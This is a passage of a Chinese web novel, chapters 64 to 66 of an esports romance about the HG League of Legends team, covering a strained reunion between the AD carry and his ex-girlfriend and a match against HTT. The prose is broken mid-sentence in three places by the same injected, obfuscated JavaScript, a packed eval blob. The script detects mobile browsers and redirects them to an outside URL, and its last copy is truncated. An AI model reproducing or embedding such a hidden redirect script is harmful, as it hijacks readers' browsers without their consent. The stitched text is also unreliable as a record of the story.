邵乖边买出门装边说:“就是说啊,有时候我真的很疑惑水哥不训练的时候闷在屋里都干什么,毕竟咱们还时不时和朋友出去吃个饭,跟家人视频聊个天,水哥那手机就和坏了一样,都没响过。” 又啃了一口梨,于琰回:“翘翘长得漂亮性格还好,他俩要是能重新燃起爱情的小火苗,我举双手赞成。” 邵乖、Nap:“附议。” 鸭梨太大了,于琰啃了半个就不想吃了,随手塞进旁边廖望延的手里:“你爹御赐给你的大鸭梨,赶紧谢旨吧。” 廖望延眼神往下一撇,又把梨扔了回去:“自己吃。” 于琰“哟”了一声,反口问:“怎么着?嫌弃你爹?早上还喝了我剩下的半杯牛奶,怎么一上午就转性了?” 廖望延扭过头,对抱着臂的人咧嘴一笑:“你换个炸弹我都能面不改色啃一口,但是梨不行。” “为啥?” “不为啥。” “那你就吃。” “不吃。” “你吃不吃!” “有跟我废话的时间你早吃完了,实在吃不了就扔了。” 于琰非得让廖望延说个理出来,一个劲儿地从后者旁边捣乱,不是锤两下大臂,就是推一下鼠标,要么就是踹两脚椅子。 廖望延正单排呢,前两下胳膊被锤让他技能放歪了,中间那下鼠标被推让他大招放空了,最后那下椅子被踹让他小龙被抢了。 熟练地关闭所有人对话,将队友的国粹拒之门外,廖望延不耐烦地问:“你有完没完?” 于琰嬉皮笑脸:“没完。” 趁着自己手下英雄原地回城,廖望延扭头将脸伸到于琰面前,眼神说正经不正经说调侃不调侃地和于琰对视,听见耳机里传来英雄成功回家的音效,他淡然开口—— “避着点忌讳,我还没跟你处够,不想和你分梨吃。” 将头回正,盯着屏幕操控英雄出门时,他紧接着说:“非得问,问完了又要害羞,害羞了又要不跟我说话,又要躲着我,臭毛病一大堆,也就我愿意惯着你。” 于琰特想骂街,话都到嘴边了又被他用力咽了回去,故作坦然地转移话题:“都什么年代了还信这些有的没的,你是什么封建余孽吗?” 廖望延轻笑:“那你就当我是吧。” 于琰闭了嘴,试图用训练来转移注意力。 换完衣服的左星水又重新进了一趟训练室,倒不是行程有变,他是找廖望延借车钥匙的。 HG五个队员,三个都有车,廖望延是打职业挣钱了自己买的欧陆,邵乖是家里直接给配的小宝马,Nap则是去年花几万块钱买了辆剁椒鱼头。 于琰虽然没车,但是他有专属廖姓司机,所以就只剩下了两耳不闻窗外事,一心只有训练室的左星水出行受阻。 廖望延眼睛还盯着屏幕,左手掏兜捏出车钥匙,胳膊往后一甩,东西就直直的进了左星水怀里,临了他还不忘了调侃左星水:“开欧陆,没错误,水哥你就大胆的去吧,等着你的好消息。” 左星水食指虚空点了点他,拎着钥匙扭头出了门。 坐在主驾驶,左星水看了看手里的方向盘,不由得笑自己,终究还是要用别人的车来装逼。 午饭地点是翘翘选的,离HG基地有不近的距离,左星水边开车边想着昨晚的事。 昨晚吃完炸串回到基地,左星水洗了个澡躺在床上,考虑半天还是点开了置顶已久的聊天框。 对话界面还停留在几年前对方的回复:你别后悔。 左星水看着那四个字,沉默了半晌,才开始打字。 【水星没有水:今天怎么来采访了?】 对面一直没回,左星水不死心地盯着屏幕良久,久到屏幕自动熄灭了十多次。 他本已经不抱着对面人能回的希望了,却在下一秒听到了微信消息的叮声,他忙把手机解锁。 【翘了个翘:怎么?嫌我和你呼吸同一片空气,觉得晦气?】 左星水皱了皱眉。 【水星没有水:没有,只是单纯问问。】 【翘了个翘:别多想,就是去救个场,以后也不会碍你的眼。】 【水星没有水:你没碍我的眼。】 对面又不回了。 左星水以为自己又一次成功把天聊死了,索性将手机扔到旁边,抱着今日穿过的队服下楼扔进洗衣机。 速洗15分钟,他就发了15分钟的呆,脑子里空空荡荡什么也没想。 将洗净的衣服挂在晾衣杆上,左星水才慢悠悠回房,进门一刹那他就听见了手机的叮声。 将手机重新解锁,就看见翘翘连发了好多条消息。 【翘了个翘:那最好是。】 【翘了个翘:?】 【翘了个翘:没了?】 【翘了个翘:左星水,你他妈是不是有病啊?你先给我发的消息,结果你消失了?】 【翘了个翘:怎么着?嫌我说话难听看不下去了?】 【翘了个翘:算你有种,以后少来烦我。】 左星水空空的大脑里顿时出现了一个叉着腰仰着头嘴里说个没完的马尾女生身影。 他忙回: 【水星没有水:没有,看你没回,我就下楼把衣服洗了。】 【水星没有水:没消失,没嫌你说话难听,也没觉得你晦气。】 【水星没有水:明天要不要出来吃个饭?】 对面再次不回了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085582|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左星水以为自己真的把人惹毛了,也不敢几次三番的发消息,只好抿着唇看屏幕再次熄灭。 一小时后,已经抱着手机睡着了的左星水,屏幕又重新亮了起来,首条消息框里赫然是翘翘发来的消息。 【翘了个翘:[位置]】 【翘了个翘:希望我到的时候你已经点完菜了,点什么用不着我说吧?】 搂着手机睡了一夜的左星水连个姿势都没变,自然醒的时候脖子已经因为长时间架在床头上而酸痛不已。 而看到消息的一刹那,他浑身的不舒服顿时消失殆尽。 翘翘到饭馆的时候,前菜已经上完了,她跟在服务员的身后进了小包间。 当服务员准备把香辣蟹摆在左星水面前时,她伸手拦了一下:“放对面,他不吃辣。” 碟底碰在瓷质桌面上有两声脆响,翘翘解开脖子上的围巾,将其和大衣包包一起扔到了旁边的座位上。 左星水见状撑着桌子起了身,走到她身边伸手:“给我吧,我帮你挂起来。” 翘翘斜眼向上瞥他一眼:“用不着,黄鼠狼给鸡拜年,你纯是不安好心。” 左星水也没坚持,重新回到位置坐下,倒了杯水送到她面前:“外面冷,喝口水暖和一下。” 再讨厌他也不能和自己的身体过不去,翘翘这么想着,就接过了杯子。 “还有几道菜没上,估计快了,你再等等。”左星水说。 翘翘把空杯搁到桌上,身体后仰,靠在了椅背上,冷着脸看对面的男人:“三年不联系了,突然之间找我肯定是有什么事吧?你直说吧。” 左星水愣了一下,随即解释:“只是因为昨天碰巧遇见了,就想今天约你出来吃个饭,我没什么目的,你不用担心。” 翘翘冷哼了一声:“那我还真是荣幸啊,左先生的饭可不容易吃上,回家我就沐浴净身,焚香吃素。” 左星水苦笑不已:“别带着气吃饭,点的都是你爱吃的,再这么和我怄气你吃不了两口就得撂筷子。” “哟,你还知道我饭量大小呢?可惜你记得的都是三年前的我吧?” “翘翘……” “别这么叫我!”翘翘猛地沉了声,清亮的眸子紧紧盯着左星水,眉心微皱,“咱俩的关系没到这份上,麻烦你叫我大名。” 左星水被她这左一针右一棒的怼也不恼,只照常用那副微微带笑的脸对着翘翘:“齐翘女士,别和我一般见识了,吃饭要紧。” 翘翘不再回话,面无表情地扭头欣赏窗外风景。 菜品一个接一个的上,明明是两个人的胃口,左星水足足点了9个菜,翘翘无语地看着摆满的桌面,说:“左星水,喂猪也得有个度吧?” 翘翘也没真指望左星水回她,毕竟后者那三棍子打不出一个屁,说不出一句好听话的性格她最了解不过,所以说完刚才那句话就举起了筷子。 有便宜不占是王八蛋,反正是左星水邀的约,肯定是他买单,当然要吃个痛快。 二人相对而坐,席间却清净得很,一个是不想说话,一个是不敢说话。 65.Chapter 65 翘翘吃到一半,突然停了筷,用纸巾擦了擦嘴,视线落在对面男人的衣服上。 “左星水,没记错的话,这衣服是我给你买的吧?” 她没任何技能前摇,嘴一张就是直球攻击,丝毫不给别人反应空间。 左星水咀嚼的动作滞了一下,点了点头。 “又是约我吃饭,又是穿我给你买的衣服,我很费解,你真正的意图到底是什么?” 没等左星水说话,翘翘又接着说:“三年前要分手的是你,三年后主动找我的也是你,你是觉得我召之即来挥之即去?觉得我对你旧情难忘情根深种?觉得我没脸没皮没有自尊?” 女生的话不可谓不伤人,逐字逐句都像裹着刀子,一下下往左星水心上捅,他本就不是什么伶牙俐齿的人,被这么一逼问倒真有些手足无措。 “左星水,差不多就得了。”翘翘话虽说的狠,神情却很平静,“如果你只是闲的没事想给自己找点乐子,那你现在应该也满意了,以后咱们桥归桥路归路,就像这三年的日子一样,当陌生人。” “我没想找乐子!”左星水不希望被她误会,话说到这份上,嘴再笨也得为自己辩解两分,“我没有任何想拿你开涮的意思,别误解我,翘翘。” “昨天碰巧在赛场遇见,我怕自己哪里做的不好,让你觉得我有怠慢,就想着今天约你出来道个歉,聊聊近况,我真的没有什么坏心思。” “而且,我也没有想和你做陌生人。” “我舍不得。” 左星水搭在腿上的手微抖,怕自己哪句话说得有歧义又让对面的姑娘误会,却更怕自己字字斟酌说出来的话不够坦诚直率。 “早知如此,何必当初呢?” “你舍不得,不还是照样和我做了三年的陌生人?” “左星水,你不会是想说……你还喜欢我吧?” 三个问句,三把刀。 这顿饭没能吃到结尾,因为其中一位中途就已经拎着大衣快速离席。 左星水看着对面用过的碗碟,目光定定,桌上的菜由热变凉,再没人伸手夹取。 下午两点半,HG众人正训练得火热,门突然被推开,于琰头也不回地说:“老姚,我跟你说,你真得给我的拉克丝一个上场机会,我现在觉得我是LPL第一拉克丝。” 身后没有回声,于琰疑惑地扭头去看,却发现进门的是左星水。 “水哥?你不是请了假去和翘翘约会吗?怎么这么早就回来了?” 这句话中的两个字莫名戳中了男人的内心,他勉强一笑,轻回:“她有事,就散了。” 于琰点点头不以为然地继续补兵,倒是旁边的廖望延听出了这话里似有若无的落寞与尴尬,但他也没贸然开口,只当自己从未察觉。 左星水还穿着那件衣服,把钥匙轻轻搁到廖望延桌上便回了自己的位置开始训练。 第一场,失败。 第二场,失败。 第五场,失败。 第十场,失败。 他从下午坐到了后半夜,晚饭的休息时间也没起身,却只收获了两页的红色战绩。 凌晨四点,训练室只剩他一人,但他却毫无困意。 再一次输掉游戏后,左星水发泄般的扔了鼠标,靠在椅子上仰头用手心盖住眼睛。 自己到底在干什么? 打扰别人,影响自己,耽误训练。 明知道不该开这个口子,明知道之前陌生人的相处方式是最合适的,明知道世界上没有后悔药。 但那天递过麦克风时,她下意识后退半步的动作,她眼神中露出的三分警惕,都让左星水觉得疼。 哪都疼,疼得让人心烦。 基地里的空调开得很足,其他人都穿的是睡衣或者T恤,只有左星水裹着一件加绒卫衣,下午的时候Nap还问为什么不换掉,左星水只摇摇头没说话。 而这件卫衣的温度,直到此刻,才凸显出它的保暖性。 热的让人心神不宁,热的让人失去理智。 【水星没有水:对不起。】 天人交战后发出的三个字,只收到了微信系统提示词: 你还不是他(她)的朋友,请先发送好友验证请求,对方验证通过后,才能聊天。 “唉。” 一声轻叹消失在男人唇边。 - 老姚:“明天咱们打HTT,下周打DL,前者威胁性不大,你们正常发挥就好。” 自从春季赛开赛,老姚的忙碌度又提升了几个档次,队员们一天也见不着几回。 于琰手捧着廖望延给买的水果捞,抖着腿回:“当初和他们打训练赛,赢得非常easy,明天争取25分钟以内结束战斗。” 廖望延拍他后脑勺:“知不知道谦虚这两个字怎么写?” 老姚倒是没挑于琰的刺儿,继续说:“打HTT我确实不担心,重要的是下周的DL,你们可别忘了,DL关联着你们的过年假期。” 众人七嘴八舌的聊,从战队整体分析到个人水平高低,生生让老姚这场只准备开5分钟的小会延长到了半小时。 左星水凌晨五点多才回房休息,满打满算睡了五个小时,此时精神萎靡得很。他一句话没说,只垂着眼在最角落听,在一众人中显得异常显眼。 廖望延和老姚都发现了他的不对劲,前者默默打开手机掌盟,查了一下他的战绩,发现一连串的红色后轻皱起了眉。 拦住想过去询问的老姚,廖望延把手机递到后者面前,眼神对着屏幕点了点,示意老姚自己看。 老姚莫名其妙接下手机,看见内容后露出了和廖望延一模一样的神色。 天要塌了。 老姚刚才还说明天打HTT没什么问题,现在看见左星水的战绩,他只感觉明天的比赛前路一片茫然。 虽说LPL战队之间的能力有高有低,有不小的分水岭,但前提是每支队伍里的五个人都属于正常水平发挥。 要是强队有一个人拖后腿,那也是给队伍整体挂上了虚弱buff。 就像以前廖望延还没来时的老HG。 不妙,非常不妙。 老姚想把左星水叫走问问昨天到底发生了什么,但又不知道该怎么开这个口,毕竟人家两个是前任关系,他这个教练问深了倒真有点侵犯个人隐私的嫌疑。 左也不是右也不是,老姚尬在了当场。 廖望延看自家教练这副抓耳挠腮的样子,在心里叹了口气,默默起身拍了拍老姚的肩膀,径自出了会议室。 走出基地大门,靠在墙边,廖望延给左星水发消息。 【Y:出来聊聊?我在基地外面。】 【水星没有水:马上到。】 揽下大任的廖望延一出门其实就后悔了,光顾着装逼,忘了穿外套。 凉风嗖嗖刮在廖望延身上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089473|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟让他莫名生出一种天将降大任于斯人也,必将苦其心志劳其筋骨的想法。 消息发完三分钟,大门就再一次被打开,左星水穿着黑色长款羽绒服踱步而出,把手里的另一件外套扔进了廖望延怀里。 “穿上,这节骨眼可不兴感冒。” “还是水哥会体贴人。” 左星水也靠在墙边,看着廖望延大臂一挥将外套裹在身上。 “找我什么事?” “抽一根?” 二人同时说话,左星水被问得一怔。 廖望延也是不久前才知道左星水会抽烟这件事的。 大概是半个月前的早上五六点,廖望延房间里的加湿器坏了。T市是北方,空气干燥,基地里又铺的地暖,要是没有加湿器,队员们白天睡醒以后,鼻腔和喉口就和要冒烟了一样干涩。 廖望延就是这么倒霉,加湿器突然不工作,导致他大早上就被烦醒了,恰巧卧室里又没有白开水,他便趿拉着拖鞋下楼去餐厅拿水。 走到一半听见训练室里有动静,他探头往里看了看,正好发现左星水抽着烟单排。 嗓子里的疼痛感让他没空八卦,只草草看了一眼就继续往餐厅走,等喝完水,他也把这件事忘在了脑后。 “你怎么知道我抽烟?” “之前不小心看见的。” 廖望延从兜里掏出烟盒,双指夹出一根递到左星水面前,似有一种左星水不接他就不罢休的架势。 气氛僵住了几秒,左星水还是伸手把烟接了过来,从自己的兜里掏出防风打火机将其点燃。 看他抽了两口,廖望延装作不经意地问:“我看了你昨天的战绩,一串连败,昨天的对手质量这么高?” 左星水意味深长地看廖望延:“想问什么就直接问,不用旁敲侧击。” 廖望延笑了一声:“你和翘翘昨天吃饭聊崩了?我看你那战绩不像是被人打爆的,倒像是自己破罐破摔想死,毕竟前天你刚用卡莉斯塔把NWG锤烂又拿了MVP,昨天同样的英雄数据却是3-9,真的很不科学。” 左星水深吸了一口烟,避开了廖望延的眼神:“嗯,聊崩了,她把我好友也删了。” “……”廖望延没想到崩的这么彻底,打好的腹稿都用不上了,“那你打算怎么办?” “不怎么办,和以前一样就行了,确实是我脑子一热办错了事。” “那你这状态,明天打HTT能调整好吗?” 左星水摇摇头:“我没法和你保证,但我一定会尽力,没有人想输,我更不想。” 廖望延一听这话不仅没放心反倒更担心了:“不行你今天别训练了,和老姚请一天假调整状态吧,不然我怕你适得其反。” “不行,本来我状态就不好,不练更要出问题。” “你昨天玩那么多把有用吗?你心不静,再怎么逼自己也是无用功,不如放空自己。” “你说的有道理,可我没法这么做。”左星水将最后一口烟抽完,捻灭在垃圾桶里,“Mesh,如果是以前的HG,我可能会采纳你的意见去休息,但咱们队现在正是往前冲的势头,我不能停,我也不敢停。” 廖望延知道自己劝不动,轻叹了一口气:“好,我知道了,那你今天起码早点结束训练,别再打到那么晚了,不然影响明天的比赛状态。” 左星水点头,目送廖望延按下密码锁进门后,他又在屋外站了许久。 66.Chapter 66 廖望延快步回了会议室,准备把正在喷口水的老姚叫出会议室。 于琰问:“你俩背着我们有什么悄悄话要说?” 廖望延:“别管。” 于琰这人,不让干什么就非干什么,不让听什么就非要听什么,一听廖望延这么说,反倒勾起了他的探窥欲望。 还是老姚说话比较管用:“我和他去聊明天的阵容安排,你听个什么劲,安心在屋里聊天吧。” 两人出了门,走到厨房才停下。 廖望延皱着眉和老姚对视:“明天你打算用什么阵容?” 老姚抱臂说:“本来是没思考那么多的,但现在得等你说完和星水的聊天情况再判断。” 廖望延想了想:“明天给邵乖拿强势英雄,下路选ez苟着吧。” “什么意思,你不放心星水?” “嗯。” “刚才你问他什么了?” 廖望延想起刚才那张稍显落寞的脸,眉间的皱褶又深了一分:“我看他那个样子,不像是今天能调整好心态的,让他当个工具人更保险,要是明天打HTT翻车,他的心态就更爆炸了。” 老姚也皱起眉:“有这么严重吗,你别夸大其词啊。” “他昨天连输了十几把,拿手的卡莉斯塔能打出3-9的战绩,你还想要多严重?” “啧,看看明天HTT怎么出招吧,要是没拿压箱底的东西,就听你的给他选个ez。” “嗯,你要是不放心,要不就去和他沟通试试。” “算了,我聊也不会得到什么好结果,无非是和你一样,他那个人心事重,不想说的不会开口。” “也幸好明天是打HTT,你别太担心,应该没什么问题。” “那最好。” 两人站在餐厅聊了会,径直回了训练室,此时左星水已经坐在位置上排队了,看见二人肩并肩站在自己身后,他推了下眼镜:“左右护法?” 老姚看他还能和自己开玩笑,提起来的心放下了两分,他手心按在左星水的肩膀上,说:“别给自己太大压力,也不要钻牛角尖,练不下去就休息一会,我又不是恶霸。” 被廖望延和老姚一前一后的劝别训练,左星水失笑:“人家战队巴不得比赛前一天练通宵,到了咱们基地反而成了劝休息。” “我这叫人性化管理,就算换成刘国柱,他也是和我一样的说辞。”老姚捏在左星水肩膀上的手收紧了几分,“真的,星水,有时候把自己压得太狠也不好,放松一下反而是优解。” 左星水没应,还是和刚才在门外一样的说辞:“我做不到队友都在训练,而我在偷懒。” “这怎么能叫偷懒呢,这明明是……” 老姚没说完的话被廖望延制止,后者对他摇了摇头,他只好罢休。 “练吧,如果这样能让你安心的话。”廖望延说。 一天的训练结束后,廖望延又查了一次左星水的战绩,不再是昨天那种一边倒的情形,但还是输多赢少。 听见自己的门被敲响,廖望延把手机塞进枕头下,让人进来。 于琰怀里搂着袋装薯片,一屁股坐在了床尾,开口就是质问:“你是不是有事瞒着我?” “咱妈给我又买了个小型肩颈按摩仪,这算瞒着你吗?” “什么?!”于琰怒喊,手上一个用力,薯片就碎成渣掉在了被子上。 “立刻清理,不然就让你跪下舔干净。” “哼。” “对了,你今天训练的怎么样?”廖望延光顾着盯左星水了,倒是把于琰给忘了。 于琰边抖床单上的薯片渣边说:“还行啊,和往常一样。” “明天要是给你选个前中期英雄,能发挥好吗?” 于琰正回身去拿放在门口的扫把,闻言对着廖望延锤了两下胸口,道:“LPL前期的王在此,你在狗叫什么?” 廖望延就喜欢于琰这副天老大他老二的模样,对他招了招手:“过来。” 于琰警戒地看他:“干嘛?我可把扫把拿手里了,你真想让我跪在地上舔薯片渣?” 这不二傻子么。 廖望延翻了个白眼:“别扫了,明天早上我自己干吧,你过来。” 一听不用自己干活,于琰美滋滋地往床边走,问:“叫你爹过来干啥?” 廖望延腰部发力,猛的一下从靠在床头变成直立,想捏住于琰的手腕把他往自己身边扯:“大半夜过来不就是来找我睡觉的?” 于琰早就防备着,毕竟这一两个月吃了那么多次亏,总不能一点记性也不长吧。 滑不溜手地往后退了一步,于琰头也不回地往外跑,边跑边说:“你还真想一招鲜吃遍天?老子学机灵了,你就搂着自己的枕头睡吧。” 廖望延望着门挑眉,看来得换点新招了,傻狗长脑子了。 翌日中午吃完饭后,众人拿着自己的外设包坐在大厅的沙发里。 今天的比赛在距离T市200多公里外的临市,HG全员要提前预留出通勤的时间。 老姚看了眼手机:“走吧,国柱开车已经到门口了。” 队员们在商务车上睡得昏天暗地,到比赛场馆时是下午四点,距离比赛还有一个小时。 “活动活动身体,看看自己的外设有没有问题,调整好精神。”老姚像老妈子一样逼逼叨个没完,“Mesh,过来我给你揉揉手腕。Nap,去厕所洗把脸精神一下。星水……别紧张,一会我给你捏捏肩膀。” 于琰和邵乖坐在沙发最角落,对老姚这副殷勤姿态冷眼旁观。 邵乖:“他吃错药了?” 于琰:“咱队里没正常人,不要试图理解他们的行为。” 邵乖:“此话有理。” 于琰:“那你能给我捏捏肩膀吗?” 邵乖:“???” 一小时后,众人坐上比赛场,双方互换三手常规ban位,HTT先手亮出上单纳尔,老姚站在邵乖身后问:“想玩什么?” 邵乖往常都是被按着脑袋选英雄,这还是头一次被询问,他从脑子里转了一圈,心想今天也不是自己的生日啊。 “我能选?那我想玩刀妹。” “选吧。” “我靠,真的?” “不选算了,选奥恩吧。” “选选选!” 邵乖忙不迭地把自己亲老婆选定,老姚又说:“于琰想玩什么?” 吸取了邵乖的教训,于琰蹬鼻子上脸地回答:“妖姬。” 老姚嘴角抽了抽,仰头深吸了一口气,又吐出那两个字:“选吧。” 于琰脸都快笑烂了,锁下妖姬后问老姚:“今天太阳打西边出来了?你被谁夺舍了?” 老姚咬着牙威胁:“再敢废话,后边十几场都给你选加里奥。” 后面的bp照常进行,因为HG始终没出下路英雄,HTT后两手ban位都给了ad。 当左星水锁下ez时,解说台上传来质疑声。 解说C:“HG怎么最后选了ez啊?这个版本的ez并不强,甚至在上个版本还被小削了一波,虽然ban位上有四个ad位,但金克丝还在,这可是Mercury的拿手英雄。” 解说D:“我赞同你的观点,这手ez选的有点突兀。” 解说C:“而且HG整体阵容也有点奇怪,他们输出点太多,难道想走上中野三C的套路?” 解说D:“HG明显想在前期决出胜负,这是走钢丝的阵容。” 两个解说你一言我一语的分析,而赛场上已经正式进入比赛,双方阵容如下: 蓝色方HG:刀妹、瞎子、妖姬、ez、布隆。 红色方HTT:纳尔、扎克、佐伊、霞、泰坦。 “上中两路放开了打,下路安心发育。”廖望延边开野边和队友交流,“邵乖于琰,给你们两个人选了想选的英雄,就得打出作用,不然这就是你们最后一次用她上赛场。” “瞧好吧您!” “yes sir!” 于琰和邵乖像两匹脱了缰的野马,二人宁可不吃兵也要换血的状态把HTT的上中吓得只敢缩着脖子补兵。 邵乖放出一段E,随即开Q利用残血小兵位移,唰唰唰窜到纳尔身边,放出第二段E。 纳尔忙用位移技能跳跃走,根本不和邵乖打。 同一时间,妖姬W位移向前放Q,佐伊反手一个睡眠气泡扔到妖姬身上,妖姬E的链子拴上佐伊引爆标记,同时佐伊的两段Q也命中妖姬。 于琰以为中路会爆发第一个人头,却没想到佐伊头也不回地往塔下跑。 邵乖、于琰:“啧,怎么这么怂。” 廖望延正在反野,把视角拉到下路看了两眼,眼睁睁看着左星水漏了个小兵,沉默着把视角重新拉回自己面前,条理清晰地说:“邵乖继续压纳尔,于琰把药磕干净,我来找机会。” “快来快来。” 廖望延说话的时候正在反红色方的F6,反完五只小的后,他站在F6最里面,随时等待摸眼过去。 于琰经过刚才那波,掉了1/3的血量,佐伊也差不多,双方都在边磕红药边补兵。 佐伊明显很谨慎,即使自己的血量还有大半,仍然没有越过河道一步。 廖望延没耐心再等了,他们这个阵容必须要在前期抓出优势,不然后期就废了。 几乎是在廖望延摸眼Q过去的同时,于琰就W踩了过去,盲僧二段Q过去拍地,妖姬QE引燃挂到佐伊身上。 妖姬的W踩得有些极限,要不是佐伊为了躲盲僧的技能,这W大概率踩不到佐伊身上,但有时候运气也是比赛的一部分,就因为这个W的命中,使盲僧和妖姬将佐伊的血量成功打到丝血。 佐伊闪现后逃,妖姬跟上闪现,因着刚才的地形,前两下塔伤都是盲僧顶下来的,所以妖姬的血量还很健康,此时妖姬的Q也转好了,一道金光闪闪的印记飞到佐伊头顶,赛场成功传来播报。 HG.Shark(诡术妖姬)成功拿下第一滴血。 与此同时,妖姬W位移撤离防御塔范围,盲僧W过去给她套了个盾,二人成功活下来。 正当于琰想吹嘘自己的技术时,下路又传来播报。 HTT.YY(生化魔人)击杀了HG.Nap(弗雷尔卓德之心)。 原来在廖望延帮于琰gank的同时,HTT打野也去gank了下路。 “怎么回事?”廖望延声音如常,听不出和平时有什么区别,“前期我不会去下路,你们视野一定要做好,不要让下路成为突破口。” Nap刚想应声,就听见耳机里左星水的声音:“我的,刚才失误了。” 的确如左星水所说,下路刚才的击杀,本来是可以避免的。 左星水不知缘由地走神了一秒,导致被泰坦勾中定住,Nap位移到左星水面前举盾,却从夹角处跳出一个蓄力而来的扎克。 左星水的ez位移向后,而Nap的技能cd还没转好,后者被HTT三人围攻,眼见着活不下来,索性闪现省了没放。 拿下一血的妖姬开始更加肆无忌惮的压制佐伊,但于琰也不敢太靠近塔下,生怕被睡眠气泡命中后,从哪个犄角旮旯冒出个绿色粑粑人。 “邵乖,有机会吗?”廖望延问。 “有也得有,没有也得有!” “推线,把纳尔的位移打出来,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于琰的妖姬通过英雄灵活程度耗掉了扎克部分血量,就在双方都对小龙虎视眈眈的情况下,一直未曾露面的佐伊通过小龙地形将睡眠气泡砸到了ez头上。 团战即刻打响。 EZ位移后撤,但这微小的距离仍被闪现向前的泰坦和蓄力跳跃的扎克逮到,本就发育一般的左星水第一个死亡。 廖望延皱眉指挥:“别急!退着打!” 自家ad的阵亡让本就劣势的现状更加雪上加霜,即使上中发育略优,但在瞬息万变的赛场上尤显不足。 没大的刀妹和盲僧捉襟见肘,妖姬只能边退边耗,眨眼间HG剩下四人就被赶出了战场,站位几乎逼近自家中路二塔。 “你们回吧,我去试试。”廖望延说。 虽然廖望延本也是想虎口夺食,但现在的状况明显比他想象中的更难。 想从对方状态良好的五人中抢下这条小龙,无异于中彩票。 廖望延身上还有一颗真眼,但他不敢立刻放进龙坑,如果这颗眼再被排掉,他就只能闪现下去抢,那也就基本断送了生路。 很有可能龙也没抢到,命也没了,那时候才是真正的血亏。 廖望延在龙坑上方站定,心里默默计数,耳机里没有任何声音,所有人都怕打扰他的思绪。 3、4、5、6…… 廖望延默数对方开龙秒数,当他默数到9时,毅然摸眼下坑,此时小龙正好被打到丝血。 插眼、摸眼、Q龙、惩戒、闪现。 一气呵成。 “Nice!” “牛逼!” “66666666!” 耳机里瞬间传来不同声线的夸赞声,就连比赛台外的解说席,也为这套行云流水的操作称赞。 解说C:“不愧是Mesh,太丝滑了。” 解说D:“今晚的峡谷注定要出现无数瞎子。” 解说C:“运气和实力缺一不可,导播赶快回放,我要再看一遍!” 解说D:“看两遍!” 观众席传来热烈的欢呼,声音大到比赛台上带着耳机的选手都听了个真切。 于琰笑着说:“又让你小子装到了。” “惭愧惭愧。”廖望延笑了一声,却在下一秒收敛语气,“水哥,想想昨天我和你说了什么,而你又回了什么。” 左星水眼镜下的瞳孔猛然收缩,沉默了片刻后回:“我知道,谢了。” “不客气。” 不明所以的三人忙问发生了什么,却只得来廖望延的拒绝回答:“以为自己在基地训练呢?比着赛就敢八卦?想上英雄麦克风了?” 这条小龙抢下,给HG提升了不少士气,相应的,也让HTT一团乱麻。 比赛就是这样,无论是电竞还是其他项目,总是几家欢喜几家愁,有振奋激情的,就有失意茫然的。 短短十来分钟,HG拿下了2个头,一只巢虫,一条小龙,而HTT只有一个人头的入账。 比赛已经进入HG的掌握。 左星水也因为廖望延的话而重新打起了精神,不再像开局那样失神逛街。 小黄毛虽然开局萎靡,但振作起来后也开始发挥自己的作用,时不时就E向前甩对面几个Q。 美中不足的是,人头基本都被于琰和邵乖拿了,ez委屈巴巴,人头一直挂0。 HTT虽然是LPL下游队伍,但能看出队员们都是拼了命想拿好成绩的,即使局势逐渐变成一边倒,他们仍顽强抵抗。 纳尔和泰坦死了一次又一次,扎克被打出了好几次被动,佐伊在妖姬的压制下顽强输出,霞敢站在队伍面前消耗对手。 英雄联盟就是这样,有信念才有希望。 “爽!下次还玩妖姬!” “呜呼,刀妹果然是我亲老婆。” 推掉HTT基地后,于琰和邵乖这两个玩的最爽的人发出感叹。 廖望延拽下耳机,让于琰先行一步,往左星水肩膀上轻轻锤了一拳:“可别再有下次了。” “不会了。”